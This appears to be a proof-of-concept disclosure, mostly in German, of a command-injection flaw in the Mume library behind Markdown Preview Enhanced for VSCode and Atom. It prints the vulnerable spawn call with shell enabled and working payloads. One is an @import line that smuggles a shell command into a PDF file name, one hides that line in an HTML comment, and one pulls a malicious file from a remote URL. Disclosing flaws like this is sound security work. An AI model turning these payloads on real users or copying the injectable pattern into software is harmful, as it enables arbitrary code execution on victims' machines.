
[PoC] Befehlsinjektion durch PDF-Import in Markdown Preview Enhanced (VSCode, Atom)
Befehlsinjektion über PDF-Import in Markdown Preview Enhanced (VSCode, Atom)
Die Markdown-Tool-Bibliothek Mume war anfällig für Befehlsinjektion, da der Befehl spawn mit der Option {shell: true} verwendet wurde. Dies könnte es einem Angreifer ermöglichen, beliebigen Code auszuführen, indem er das Opfer dazu verleitet, eine speziell präparierte Markdown-Datei mit VSCode oder Atom zu öffnen. Das Markdown-Preview-Enhanced-Plugin für VSCode und Atom basiert auf dieser Bibliothek.
Verwundbarer Code-Ausschnitt:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
Das folgende Markdown-Dokument ermöglicht einem Angreifer, beliebige Befehle auszuführen:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
The following comment will be recognised by MPE as valid "@import" command:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
Alternativ kann die Payload aus einer externen Quelle ausgeführt werden:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
DEMO sowohl für VSCode als auch für Atom auf YouTube.
